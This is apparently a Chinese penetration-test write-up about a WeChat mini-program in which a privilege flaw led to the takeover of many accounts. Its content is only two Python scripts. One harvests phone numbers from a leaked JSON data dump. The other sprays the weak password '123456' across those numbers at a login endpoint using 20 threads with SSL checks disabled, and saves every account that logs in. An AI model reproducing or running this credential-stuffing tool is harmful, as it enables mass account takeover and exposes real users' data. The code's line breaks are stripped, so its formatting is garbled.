记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限

import json# 读取JSON文件 - 更新为正确的路径with open(r'd:desktopdd1.json', 'r', encoding='utf-8') as f:    data = json.load(f)# 提取所有mobile号码并去重mobiles = [item.get('mobile') for item in data.get('data', []) if item.get('mobile')]unique_mobiles = list(set(mobiles))  # 通过set去重# 写入到文本文件 - 更新为正确的路径with open(r'd:desktopddphone1.txt', 'w', encoding='utf-8') as f:    f.write('n'.join(unique_mobiles))print(f'成功提取 {len(mobiles)} 个手机号码，去重后剩余 {len(unique_mobiles)} 个')

import requestsimport jsonfrom requests.packages.urllib3.exceptions import InsecureRequestWarningimport sysimport timefrom concurrent.futures import ThreadPoolExecutor, as_completed# 禁用SSL警告requests.packages.urllib3.disable_warnings(InsecureRequestWarning)# 读取手机号列表with open('d:\desktop\xxx\phone1.txt', 'r', encoding='utf-8-sig') as f:    valid_phones = [line.strip() for line in f if line.strip()]# 请求头配置headers = {    "Host": "xx.xxx.com",    "Xweb_xhr": "1",    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf2540512) XWEB/13871",    "Content-Type": "application/x-www-form-urlencoded",}# 创建会话对象复用连接session = requests.Session()session.verify = False  # 禁用SSL验证session.headers.update(headers)# 登录函数def login(phone):    try:        data = {            "username": phone,            "password": "123456", #可以根据自己字典来改参数            "appid": "wx118ba89586e5bf68"        }        response = session.post(            "https://xx.xxxx.com/login",            data=data,            timeout=10  # 设置超时        )        if response.status_code == 200:            result = response.json()            if result.get("state") and result.get("code") == 1:                # 实时写入成功结果                with open('d:\desktop\xxx\su.txt', 'a', encoding='utf-8') as f:                    f.write(f"{phone}n")                return phone    except Exception as e:        print(f"手机号 {phone} 请求异常: {str(e)}")    return None# 主函数def main():    success_count = 0    total = len(valid_phones)    print(f"开始批量登录，共 {total} 个号码")    try:        # 使用线程池加速        with ThreadPoolExecutor(max_workers=20) as executor:            futures = {executor.submit(login, phone): phone for phone in valid_phones}            for future in as_completed(futures):                phone = futures[future]                result = future.result()                if result:                    success_count += 1                    print(f"进度: {success_count}/{total} | 成功: {result}")    except KeyboardInterrupt:        print("n用户中断操作，已保存当前进度")    finally:        print(f"n完成! 共找到 {success_count} 个成功登录用户")if __name__ == "__main__":    main()